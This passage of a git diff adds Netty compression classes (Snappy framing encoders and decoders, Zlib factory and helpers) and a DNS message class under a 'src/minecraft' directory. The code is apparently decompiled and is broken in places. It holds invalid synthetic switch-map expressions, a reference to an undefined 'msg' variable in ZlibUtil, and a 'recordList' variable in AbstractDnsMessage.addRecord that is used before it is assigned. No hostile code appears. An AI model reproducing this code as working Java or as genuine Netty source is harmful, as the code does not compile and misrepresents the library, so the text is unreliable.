+        }
+        
+        if (inSize < 4 + chunkLength) {
+          return;
+        }
+        
+        in.skipBytes(4);
+        int checksum = in.readIntLE();
+        ByteBuf uncompressed = ctx.alloc().buffer();
+        try {
+          if (validateChecksums) {
+            int oldWriterIndex = in.writerIndex();
+            try {
+              in.writerIndex(in.readerIndex() + chunkLength - 4);
+              snappy.decode(in, uncompressed);
+            } finally {
+              in.writerIndex(oldWriterIndex);
+            }
+            Snappy.validateChecksum(checksum, uncompressed, 0, uncompressed.writerIndex());
+          } else {
+            snappy.decode(in.readSlice(chunkLength - 4), uncompressed);
+          }
+          out.add(uncompressed);
+          uncompressed = null;
+        } finally {
+          if (uncompressed != null) {
+            uncompressed.release();
+          }
+        }
+        snappy.reset();
+      }
+    }
+    catch (Exception e) {
+      corrupted = true;
+      throw e;
+    }
+  }
+  
+  private static void checkByte(byte actual, byte expect) {
+    if (actual != expect) {
+      throw new DecompressionException("Unexpected stream identifier contents. Mismatched snappy protocol version?");
+    }
+  }
+  
+
+
+
+
+
+
+  private static ChunkType mapChunkType(byte type)
+  {
+    if (type == 0)
+      return ChunkType.COMPRESSED_DATA;
+    if (type == 1)
+      return ChunkType.UNCOMPRESSED_DATA;
+    if (type == -1)
+      return ChunkType.STREAM_IDENTIFIER;
+    if ((type & 0x80) == 128) {
+      return ChunkType.RESERVED_SKIPPABLE;
+    }
+    return ChunkType.RESERVED_UNSKIPPABLE;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/SnappyFrameEncoder.java b/src/minecraft/io/netty/handler/codec/compression/SnappyFrameEncoder.java
new file mode 100644
index 0000000..2bcaf75
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/SnappyFrameEncoder.java
@@ -0,0 +1,123 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SnappyFrameEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private static final int MIN_COMPRESSIBLE_LENGTH = 18;
+  private static final byte[] STREAM_START = { -1, 6, 0, 0, 115, 78, 97, 80, 112, 89 };
+  
+
+
+  private final Snappy snappy = new Snappy();
+  private boolean started;
+  
+  public SnappyFrameEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception { if (!in.isReadable()) {
+      return;
+    }
+    
+    if (!started) {
+      started = true;
+      out.writeBytes(STREAM_START);
+    }
+    
+    int dataLength = in.readableBytes();
+    if (dataLength > 18) {
+      for (;;) {
+        int lengthIdx = out.writerIndex() + 1;
+        if (dataLength < 18) {
+          ByteBuf slice = in.readSlice(dataLength);
+          writeUnencodedChunk(slice, out, dataLength);
+          break;
+        }
+        
+        out.writeInt(0);
+        if (dataLength > 32767) {
+          ByteBuf slice = in.readSlice(32767);
+          calculateAndWriteChecksum(slice, out);
+          snappy.encode(slice, out, 32767);
+          setChunkLength(out, lengthIdx);
+          dataLength -= 32767;
+        } else {
+          ByteBuf slice = in.readSlice(dataLength);
+          calculateAndWriteChecksum(slice, out);
+          snappy.encode(slice, out, dataLength);
+          setChunkLength(out, lengthIdx);
+          break;
+        }
+      }
+    }
+    writeUnencodedChunk(in, out, dataLength);
+  }
+  
+  private static void writeUnencodedChunk(ByteBuf in, ByteBuf out, int dataLength)
+  {
+    out.writeByte(1);
+    writeChunkLength(out, dataLength + 4);
+    calculateAndWriteChecksum(in, out);
+    out.writeBytes(in, dataLength);
+  }
+  
+  private static void setChunkLength(ByteBuf out, int lengthIdx) {
+    int chunkLength = out.writerIndex() - lengthIdx - 3;
+    if (chunkLength >>> 24 != 0) {
+      throw new CompressionException("compressed data too large: " + chunkLength);
+    }
+    out.setMediumLE(lengthIdx, chunkLength);
+  }
+  
+
+
+
+
+
+  private static void writeChunkLength(ByteBuf out, int chunkLength)
+  {
+    out.writeMediumLE(chunkLength);
+  }
+  
+
+
+
+
+
+  private static void calculateAndWriteChecksum(ByteBuf slice, ByteBuf out)
+  {
+    out.writeIntLE(Snappy.calculateChecksum(slice));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/SnappyFramedDecoder.java b/src/minecraft/io/netty/handler/codec/compression/SnappyFramedDecoder.java
new file mode 100644
index 0000000..3dee10a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/SnappyFramedDecoder.java
@@ -0,0 +1,210 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SnappyFramedDecoder
+  extends ByteToMessageDecoder
+{
+  private static enum ChunkType
+  {
+    STREAM_IDENTIFIER, 
+    COMPRESSED_DATA, 
+    UNCOMPRESSED_DATA, 
+    RESERVED_UNSKIPPABLE, 
+    RESERVED_SKIPPABLE;
+    
+    private ChunkType() {} }
+  private static final byte[] SNAPPY = { 115, 78, 97, 80, 112, 89 };
+  
+  private static final int MAX_UNCOMPRESSED_DATA_SIZE = 65540;
+  private final Snappy snappy = new Snappy();
+  
+
+  private final boolean validateChecksums;
+  
+  private boolean started;
+  
+  private boolean corrupted;
+  
+
+  public SnappyFramedDecoder()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+
+
+
+  public SnappyFramedDecoder(boolean validateChecksums)
+  {
+    this.validateChecksums = validateChecksums;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if (corrupted) {
+      in.skipBytes(in.readableBytes());
+      return;
+    }
+    try
+    {
+      int idx = in.readerIndex();
+      int inSize = in.readableBytes();
+      if (inSize < 4)
+      {
+
+        return;
+      }
+      
+      int chunkTypeVal = in.getUnsignedByte(idx);
+      ChunkType chunkType = mapChunkType((byte)chunkTypeVal);
+      int chunkLength = ByteBufUtil.swapMedium(in.getUnsignedMedium(idx + 1));
+      
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$SnappyFramedDecoder$ChunkType[chunkType.ordinal()]) {
+      case 1: 
+        if (chunkLength != SNAPPY.length) {
+          throw new DecompressionException("Unexpected length of stream identifier: " + chunkLength);
+        }
+        
+        if (inSize >= 4 + SNAPPY.length)
+        {
+
+
+          byte[] identifier = new byte[chunkLength];
+          in.skipBytes(4).readBytes(identifier);
+          
+          if (!Arrays.equals(identifier, SNAPPY)) {
+            throw new DecompressionException("Unexpected stream identifier contents. Mismatched snappy protocol version?");
+          }
+          
+
+          started = true; }
+        break;
+      case 2: 
+        if (!started) {
+          throw new DecompressionException("Received RESERVED_SKIPPABLE tag before STREAM_IDENTIFIER");
+        }
+        
+        if (inSize < 4 + chunkLength)
+        {
+          return;
+        }
+        
+        in.skipBytes(4 + chunkLength);
+        break;
+      
+
+
+      case 3: 
+        throw new DecompressionException("Found reserved unskippable chunk type: 0x" + Integer.toHexString(chunkTypeVal));
+      
+      case 4: 
+        if (!started) {
+          throw new DecompressionException("Received UNCOMPRESSED_DATA tag before STREAM_IDENTIFIER");
+        }
+        if (chunkLength > 65540) {
+          throw new DecompressionException("Received UNCOMPRESSED_DATA larger than 65540 bytes");
+        }
+        
+        if (inSize < 4 + chunkLength) {
+          return;
+        }
+        
+        in.skipBytes(4);
+        if (validateChecksums) {
+          int checksum = ByteBufUtil.swapInt(in.readInt());
+          Snappy.validateChecksum(checksum, in, in.readerIndex(), chunkLength - 4);
+        } else {
+          in.skipBytes(4);
+        }
+        out.add(in.readSlice(chunkLength - 4).retain());
+        break;
+      case 5: 
+        if (!started) {
+          throw new DecompressionException("Received COMPRESSED_DATA tag before STREAM_IDENTIFIER");
+        }
+        
+        if (inSize < 4 + chunkLength) {
+          return;
+        }
+        
+        in.skipBytes(4);
+        int checksum = ByteBufUtil.swapInt(in.readInt());
+        ByteBuf uncompressed = ctx.alloc().buffer(0);
+        if (validateChecksums) {
+          int oldWriterIndex = in.writerIndex();
+          try {
+            in.writerIndex(in.readerIndex() + chunkLength - 4);
+            snappy.decode(in, uncompressed);
+          } finally {
+            in.writerIndex(oldWriterIndex);
+          }
+          Snappy.validateChecksum(checksum, uncompressed, 0, uncompressed.writerIndex());
+        } else {
+          snappy.decode(in.readSlice(chunkLength - 4), uncompressed);
+        }
+        out.add(uncompressed);
+        snappy.reset();
+      }
+    }
+    catch (Exception e) {
+      corrupted = true;
+      throw e;
+    }
+  }
+  
+
+
+
+
+
+  private static ChunkType mapChunkType(byte type)
+  {
+    if (type == 0)
+      return ChunkType.COMPRESSED_DATA;
+    if (type == 1)
+      return ChunkType.UNCOMPRESSED_DATA;
+    if (type == -1)
+      return ChunkType.STREAM_IDENTIFIER;
+    if ((type & 0x80) == 128) {
+      return ChunkType.RESERVED_SKIPPABLE;
+    }
+    return ChunkType.RESERVED_UNSKIPPABLE;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/SnappyFramedEncoder.java b/src/minecraft/io/netty/handler/codec/compression/SnappyFramedEncoder.java
new file mode 100644
index 0000000..52cce1a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/SnappyFramedEncoder.java
@@ -0,0 +1,124 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SnappyFramedEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private static final int MIN_COMPRESSIBLE_LENGTH = 18;
+  private static final byte[] STREAM_START = { -1, 6, 0, 0, 115, 78, 97, 80, 112, 89 };
+  
+
+
+  private final Snappy snappy = new Snappy();
+  private boolean started;
+  
+  public SnappyFramedEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception { if (!in.isReadable()) {
+      return;
+    }
+    
+    if (!started) {
+      started = true;
+      out.writeBytes(STREAM_START);
+    }
+    
+    int dataLength = in.readableBytes();
+    if (dataLength > 18) {
+      for (;;) {
+        int lengthIdx = out.writerIndex() + 1;
+        if (dataLength < 18) {
+          ByteBuf slice = in.readSlice(dataLength);
+          writeUnencodedChunk(slice, out, dataLength);
+          break;
+        }
+        
+        out.writeInt(0);
+        if (dataLength > 32767) {
+          ByteBuf slice = in.readSlice(32767);
+          calculateAndWriteChecksum(slice, out);
+          snappy.encode(slice, out, 32767);
+          setChunkLength(out, lengthIdx);
+          dataLength -= 32767;
+        } else {
+          ByteBuf slice = in.readSlice(dataLength);
+          calculateAndWriteChecksum(slice, out);
+          snappy.encode(slice, out, dataLength);
+          setChunkLength(out, lengthIdx);
+          break;
+        }
+      }
+    }
+    writeUnencodedChunk(in, out, dataLength);
+  }
+  
+  private static void writeUnencodedChunk(ByteBuf in, ByteBuf out, int dataLength)
+  {
+    out.writeByte(1);
+    writeChunkLength(out, dataLength + 4);
+    calculateAndWriteChecksum(in, out);
+    out.writeBytes(in, dataLength);
+  }
+  
+  private static void setChunkLength(ByteBuf out, int lengthIdx) {
+    int chunkLength = out.writerIndex() - lengthIdx - 3;
+    if (chunkLength >>> 24 != 0) {
+      throw new CompressionException("compressed data too large: " + chunkLength);
+    }
+    out.setMedium(lengthIdx, ByteBufUtil.swapMedium(chunkLength));
+  }
+  
+
+
+
+
+
+  private static void writeChunkLength(ByteBuf out, int chunkLength)
+  {
+    out.writeMedium(ByteBufUtil.swapMedium(chunkLength));
+  }
+  
+
+
+
+
+
+  private static void calculateAndWriteChecksum(ByteBuf slice, ByteBuf out)
+  {
+    out.writeInt(ByteBufUtil.swapInt(Snappy.calculateChecksum(slice)));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/ZlibCodecFactory.java b/src/minecraft/io/netty/handler/codec/compression/ZlibCodecFactory.java
new file mode 100644
index 0000000..f840571
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/ZlibCodecFactory.java
@@ -0,0 +1,116 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ZlibCodecFactory
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ZlibCodecFactory.class);
+  
+
+
+
+  private static final boolean noJdkZlibDecoder = SystemPropertyUtil.getBoolean("io.netty.noJdkZlibDecoder", true);
+  static { logger.debug("-Dio.netty.noJdkZlibDecoder: {}", Boolean.valueOf(noJdkZlibDecoder)); }
+  
+  public static ZlibEncoder newZlibEncoder(int compressionLevel)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(compressionLevel);
+    }
+    return new JdkZlibEncoder(compressionLevel);
+  }
+  
+  public static ZlibEncoder newZlibEncoder(ZlibWrapper wrapper)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(wrapper);
+    }
+    return new JdkZlibEncoder(wrapper);
+  }
+  
+  public static ZlibEncoder newZlibEncoder(ZlibWrapper wrapper, int compressionLevel)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(wrapper, compressionLevel);
+    }
+    return new JdkZlibEncoder(wrapper, compressionLevel);
+  }
+  
+  public static ZlibEncoder newZlibEncoder(ZlibWrapper wrapper, int compressionLevel, int windowBits, int memLevel)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(wrapper, compressionLevel, windowBits, memLevel);
+    }
+    return new JdkZlibEncoder(wrapper, compressionLevel);
+  }
+  
+  public static ZlibEncoder newZlibEncoder(byte[] dictionary)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(dictionary);
+    }
+    return new JdkZlibEncoder(dictionary);
+  }
+  
+  public static ZlibEncoder newZlibEncoder(int compressionLevel, byte[] dictionary)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(compressionLevel, dictionary);
+    }
+    return new JdkZlibEncoder(compressionLevel, dictionary);
+  }
+  
+  public static ZlibEncoder newZlibEncoder(int compressionLevel, int windowBits, int memLevel, byte[] dictionary)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      return new JZlibEncoder(compressionLevel, windowBits, memLevel, dictionary);
+    }
+    return new JdkZlibEncoder(compressionLevel, dictionary);
+  }
+  
+  public static ZlibDecoder newZlibDecoder()
+  {
+    if ((PlatformDependent.javaVersion() < 7) || (noJdkZlibDecoder)) {
+      return new JZlibDecoder();
+    }
+    return new JdkZlibDecoder();
+  }
+  
+  public static ZlibDecoder newZlibDecoder(ZlibWrapper wrapper)
+  {
+    if ((PlatformDependent.javaVersion() < 7) || (noJdkZlibDecoder)) {
+      return new JZlibDecoder(wrapper);
+    }
+    return new JdkZlibDecoder(wrapper);
+  }
+  
+  public static ZlibDecoder newZlibDecoder(byte[] dictionary)
+  {
+    if ((PlatformDependent.javaVersion() < 7) || (noJdkZlibDecoder)) {
+      return new JZlibDecoder(dictionary);
+    }
+    return new JdkZlibDecoder(dictionary);
+  }
+  
+  private ZlibCodecFactory() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/ZlibDecoder.java b/src/minecraft/io/netty/handler/codec/compression/ZlibDecoder.java
new file mode 100644
index 0000000..22c5564
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/ZlibDecoder.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.handler.codec.ByteToMessageDecoder;
+
+public abstract class ZlibDecoder
+  extends ByteToMessageDecoder
+{
+  public ZlibDecoder() {}
+  
+  public abstract boolean isClosed();
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/ZlibEncoder.java b/src/minecraft/io/netty/handler/codec/compression/ZlibEncoder.java
new file mode 100644
index 0000000..4b047ae
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/ZlibEncoder.java
@@ -0,0 +1,37 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ZlibEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  protected ZlibEncoder()
+  {
+    super(false);
+  }
+  
+  public abstract boolean isClosed();
+  
+  public abstract ChannelFuture close();
+  
+  public abstract ChannelFuture close(ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/ZlibUtil.java b/src/minecraft/io/netty/handler/codec/compression/ZlibUtil.java
new file mode 100644
index 0000000..35054bb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/ZlibUtil.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.compression;
+
+import com.jcraft.jzlib.Deflater;
+import com.jcraft.jzlib.Inflater;
+import com.jcraft.jzlib.JZlib;
+import com.jcraft.jzlib.JZlib.WrapperType;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ZlibUtil
+{
+  static void fail(Inflater z, String message, int resultCode)
+  {
+    throw inflaterException(z, message, resultCode);
+  }
+  
+  static void fail(Deflater z, String message, int resultCode) {
+    throw deflaterException(z, message, resultCode);
+  }
+  
+  static DecompressionException inflaterException(Inflater z, String message, int resultCode) {
+    return new DecompressionException(message + " (" + resultCode + ')' + (msg != null ? ": " + msg : ""));
+  }
+  
+  static CompressionException deflaterException(Deflater z, String message, int resultCode) {
+    return new CompressionException(message + " (" + resultCode + ')' + (msg != null ? ": " + msg : ""));
+  }
+  
+  static JZlib.WrapperType convertWrapperType(ZlibWrapper wrapper) {
+    JZlib.WrapperType convertedWrapperType;
+    switch (1.$SwitchMap$io$netty$handler$codec$compression$ZlibWrapper[wrapper.ordinal()]) {
+    case 1: 
+      convertedWrapperType = JZlib.W_NONE;
+      break;
+    case 2: 
+      convertedWrapperType = JZlib.W_ZLIB;
+      break;
+    case 3: 
+      convertedWrapperType = JZlib.W_GZIP;
+      break;
+    case 4: 
+      convertedWrapperType = JZlib.W_ANY;
+      break;
+    default: 
+      throw new Error();
+    }
+    return convertedWrapperType;
+  }
+  
+  static int wrapperOverhead(ZlibWrapper wrapper) {
+    int overhead;
+    switch (1.$SwitchMap$io$netty$handler$codec$compression$ZlibWrapper[wrapper.ordinal()]) {
+    case 1: 
+      overhead = 0;
+      break;
+    case 2: 
+    case 4: 
+      overhead = 2;
+      break;
+    case 3: 
+      overhead = 10;
+      break;
+    default: 
+      throw new Error();
+    }
+    return overhead;
+  }
+  
+  private ZlibUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/ZlibWrapper.java b/src/minecraft/io/netty/handler/codec/compression/ZlibWrapper.java
new file mode 100644
index 0000000..be3a944
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/ZlibWrapper.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.compression;
+
+public enum ZlibWrapper
+{
+  ZLIB,  GZIP,  NONE,  ZLIB_OR_NONE;
+  
+  private ZlibWrapper() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/AbstractDnsMessage.java b/src/minecraft/io/netty/handler/codec/dns/AbstractDnsMessage.java
new file mode 100644
index 0000000..a1dbc2e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/dns/AbstractDnsMessage.java
@@ -0,0 +1,473 @@
+package io.netty.handler.codec.dns;
+
+import io.netty.util.AbstractReferenceCounted;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.ReferenceCounted;
+import io.netty.util.ResourceLeak;
+import io.netty.util.ResourceLeakDetector;
+import io.netty.util.ResourceLeakDetectorFactory;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractDnsMessage
+  extends AbstractReferenceCounted
+  implements DnsMessage
+{
+  private static final ResourceLeakDetector<DnsMessage> leakDetector = ResourceLeakDetectorFactory.instance().newResourceLeakDetector(DnsMessage.class);
+  
+
+  private static final int SECTION_QUESTION = DnsSection.QUESTION.ordinal();
+  
+  private static final int SECTION_COUNT = 4;
+  private final ResourceLeak leak = leakDetector.open(this);
+  
+  private short id;
+  
+  private DnsOpCode opCode;
+  
+  private boolean recursionDesired;
+  
+  private byte z;
+  
+  private Object questions;
+  private Object answers;
+  private Object authorities;
+  private Object additionals;
+  
+  protected AbstractDnsMessage(int id)
+  {
+    this(id, DnsOpCode.QUERY);
+  }
+  
+
+
+  protected AbstractDnsMessage(int id, DnsOpCode opCode)
+  {
+    setId(id);
+    setOpCode(opCode);
+  }
+  
+  public int id()
+  {
+    return id & 0xFFFF;
+  }
+  
+  public DnsMessage setId(int id)
+  {
+    this.id = ((short)id);
+    return this;
+  }
+  
+  public DnsOpCode opCode()
+  {
+    return opCode;
+  }
+  
+  public DnsMessage setOpCode(DnsOpCode opCode)
+  {
+    this.opCode = ((DnsOpCode)ObjectUtil.checkNotNull(opCode, "opCode"));
+    return this;
+  }
+  
+  public boolean isRecursionDesired()
+  {
+    return recursionDesired;
+  }
+  
+  public DnsMessage setRecursionDesired(boolean recursionDesired)
+  {
+    this.recursionDesired = recursionDesired;
+    return this;
+  }
+  
+  public int z()
+  {
+    return z;
+  }
+  
+  public DnsMessage setZ(int z)
+  {
+    this.z = ((byte)(z & 0x7));
+    return this;
+  }
+  
+  public int count(DnsSection section)
+  {
+    return count(sectionOrdinal(section));
+  }
+  
+  private int count(int section) {
+    Object records = sectionAt(section);
+    if (records == null) {
+      return 0;
+    }
+    if ((records instanceof DnsRecord)) {
+      return 1;
+    }
+    
+
+    List<DnsRecord> recordList = (List)records;
+    return recordList.size();
+  }
+  
+  public int count()
+  {
+    int count = 0;
+    for (int i = 0; i < 4; i++) {
+      count += count(i);
+    }
+    return count;
+  }
+  
+  public <T extends DnsRecord> T recordAt(DnsSection section)
+  {
+    return recordAt(sectionOrdinal(section));
+  }
+  
+  private <T extends DnsRecord> T recordAt(int section) {
+    Object records = sectionAt(section);
+    if (records == null) {
+      return null;
+    }
+    
+    if ((records instanceof DnsRecord)) {
+      return castRecord(records);
+    }
+    
+
+    List<DnsRecord> recordList = (List)records;
+    if (recordList.isEmpty()) {
+      return null;
+    }
+    
+    return castRecord(recordList.get(0));
+  }
+  
+  public <T extends DnsRecord> T recordAt(DnsSection section, int index)
+  {
+    return recordAt(sectionOrdinal(section), index);
+  }
+  
+  private <T extends DnsRecord> T recordAt(int section, int index) {
+    Object records = sectionAt(section);
+    if (records == null) {
+      throw new IndexOutOfBoundsException("index: " + index + " (expected: none)");
+    }
+    
+    if ((records instanceof DnsRecord)) {
+      if (index == 0) {
+        return castRecord(records);
+      }
+      throw new IndexOutOfBoundsException("index: " + index + "' (expected: 0)");
+    }
+    
+
+
+    List<DnsRecord> recordList = (List)records;
+    return castRecord(recordList.get(index));
+  }
+  
+  public DnsMessage setRecord(DnsSection section, DnsRecord record)
+  {
+    setRecord(sectionOrdinal(section), record);
+    return this;
+  }
+  
+  private void setRecord(int section, DnsRecord record) {
+    clear(section);
+    setSection(section, checkQuestion(section, record));
+  }
+  
+  public <T extends DnsRecord> T setRecord(DnsSection section, int index, DnsRecord record)
+  {
+    return setRecord(sectionOrdinal(section), index, record);
+  }
+  
+  private <T extends DnsRecord> T setRecord(int section, int index, DnsRecord record) {
+    checkQuestion(section, record);
+    
+    Object records = sectionAt(section);
+    if (records == null) {
+      throw new IndexOutOfBoundsException("index: " + index + " (expected: none)");
+    }
+    
+    if ((records instanceof DnsRecord)) {
+      if (index == 0) {
+        setSection(section, record);
+        return castRecord(records);
+      }
+      throw new IndexOutOfBoundsException("index: " + index + " (expected: 0)");
+    }
+    
+
+
+    List<DnsRecord> recordList = (List)records;
+    return castRecord(recordList.set(index, record));
+  }
+  
+  public DnsMessage addRecord(DnsSection section, DnsRecord record)
+  {
+    addRecord(sectionOrdinal(section), record);
+    return this;
+  }
+  
+  private void addRecord(int section, DnsRecord record) {
+    checkQuestion(section, record);
+    
+    Object records = sectionAt(section);
+    if (records == null) {
+      setSection(section, record);
+      return;
+    }
+    
+    if ((records instanceof DnsRecord)) {
+      List<DnsRecord> recordList = newRecordList();
+      recordList.add(castRecord(records));
+      recordList.add(record);
+      setSection(section, recordList);
+      return;
+    }
+    
+
+    List<DnsRecord> recordList = (List)records;
+    recordList.add(record);
+  }
+  
+  public DnsMessage addRecord(DnsSection section, int index, DnsRecord record)
+  {
+    addRecord(sectionOrdinal(section), index, record);
+    return this;
+  }
+  
+  private void addRecord(int section, int index, DnsRecord record) {
+    checkQuestion(section, record);
+    
+    Object records = sectionAt(section);
+    if (records == null) {
+      if (index != 0) {
+        throw new IndexOutOfBoundsException("index: " + index + " (expected: 0)");
+      }
+      
+      setSection(section, record);
+      return;
+    }
+    
+    if ((records instanceof DnsRecord))
+    {
+      if (index == 0) {
+        List<DnsRecord> recordList = newRecordList();
+        recordList.add(record);
+        recordList.add(castRecord(records));
+      } else if (index == 1) {
+        List<DnsRecord> recordList = newRecordList();
+        recordList.add(castRecord(records));
+        recordList.add(record);
+      } else {
+        throw new IndexOutOfBoundsException("index: " + index + " (expected: 0 or 1)"); }
+      List<DnsRecord> recordList;
+      setSection(section, recordList);
+      return;
+    }
+    
+
+    List<DnsRecord> recordList = (List)records;
+    recordList.add(index, record);
+  }
+  
+  public <T extends DnsRecord> T removeRecord(DnsSection section, int index)
+  {
+    return removeRecord(sectionOrdinal(section), index);
+  }
+  
+  private <T extends DnsRecord> T removeRecord(int section, int index) {
+    Object records = sectionAt(section);
+    if (records == null) {
+      throw new IndexOutOfBoundsException("index: " + index + " (expected: none)");
+    }
+    
+    if ((records instanceof DnsRecord)) {
+      if (index != 0) {
+        throw new IndexOutOfBoundsException("index: " + index + " (expected: 0)");
+      }
+      
+      T record = castRecord(records);
+      setSection(section, null);
+      return record;
+    }
+    
+
+    List<DnsRecord> recordList = (List)records;
+    return castRecord(recordList.remove(index));
+  }
+  
+  public DnsMessage clear(DnsSection section)
+  {
+    clear(sectionOrdinal(section));
+    return this;
+  }
+  
+  public DnsMessage clear()
+  {
+    for (int i = 0; i < 4; i++) {
+      clear(i);
+    }
+    return this;
+  }
+  
+  private void clear(int section) {
+    Object recordOrList = sectionAt(section);
+    setSection(section, null);
+    if ((recordOrList instanceof ReferenceCounted)) {
+      ((ReferenceCounted)recordOrList).release();
+    } else if ((recordOrList instanceof List))
+    {
+      List<DnsRecord> list = (List)recordOrList;
+      if (!list.isEmpty()) {
+        for (Object r : list) {
+          ReferenceCountUtil.release(r);
+        }
+      }
+    }
+  }
+  
+  public DnsMessage touch()
+  {
+    return (DnsMessage)super.touch();
+  }
+  
+  public DnsMessage touch(Object hint)
+  {
+    if (leak != null) {
+      leak.record(hint);
+    }
+    return this;
+  }
+  
+  public DnsMessage retain()
+  {
+    return (DnsMessage)super.retain();
+  }
+  
+  public DnsMessage retain(int increment)
+  {
+    return (DnsMessage)super.retain(increment);
+  }
+  
+  protected void deallocate()
+  {
+    clear();
+    
+    ResourceLeak leak = this.leak;
+    if (leak != null) {
+      leak.close();
+    }
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    
+    if (!(obj instanceof DnsMessage)) {
+      return false;
+    }
+    
+    DnsMessage that = (DnsMessage)obj;
+    if (id() != that.id()) {
+      return false;
+    }
+    
+    if ((this instanceof DnsQuery)) {
+      if (!(that instanceof DnsQuery)) {
+        return false;
+      }
+    } else if ((that instanceof DnsQuery)) {
+      return false;
+    }
+    
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    return id() * 31 + ((this instanceof DnsQuery) ? 0 : 1);
+  }
+  
+  private Object sectionAt(int section) {
+    switch (section) {
+    case 0: 
+      return questions;
+    case 1: 
+      return answers;
+    case 2: 
+      return authorities;
+    case 3: 
+      return additionals;
+    }
+    
+    throw new Error();
+  }
+  
+  private void setSection(int section, Object value) {
+    switch (section) {
+    case 0: 
+      questions = value;
+      return;
+    case 1: 
+      answers = value;
+      return;
+    case 2: 
+      authorities = value;
+      return;
+    case 3: 
+      additionals = value;
+      return;
+    }
+    
+    throw new Error();
+  }
+  
+  private static int sectionOrdinal(DnsSection section) {
+    return ((DnsSection)ObjectUtil.checkNotNull(section, "section")).ordinal();
+  }
+  
+  private static DnsRecord checkQuestion(int section, DnsRecord record) {
+    if ((section == SECTION_QUESTION) && (!(ObjectUtil.checkNotNull(record, "record") instanceof DnsQuestion))) {
+      throw new IllegalArgumentException("record: " + record + " (expected: " + StringUtil.simpleClassName(DnsQuestion.class) + ')');
+    }
+    
+    return record;
+  }
+  
+  private static <T extends DnsRecord> T castRecord(Object record)
+  {
+    return (DnsRecord)record;
+  }
+  
+  private static ArrayList<DnsRecord> newRecordList() {
+    return new ArrayList(2);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/dns/AbstractDnsOptPseudoRrRecord.java b/src/minecraft/io/netty/handler/codec/dns/AbstractDnsOptPseudoRrRecord.java
new file mode 100644
index 0000000..69fa990
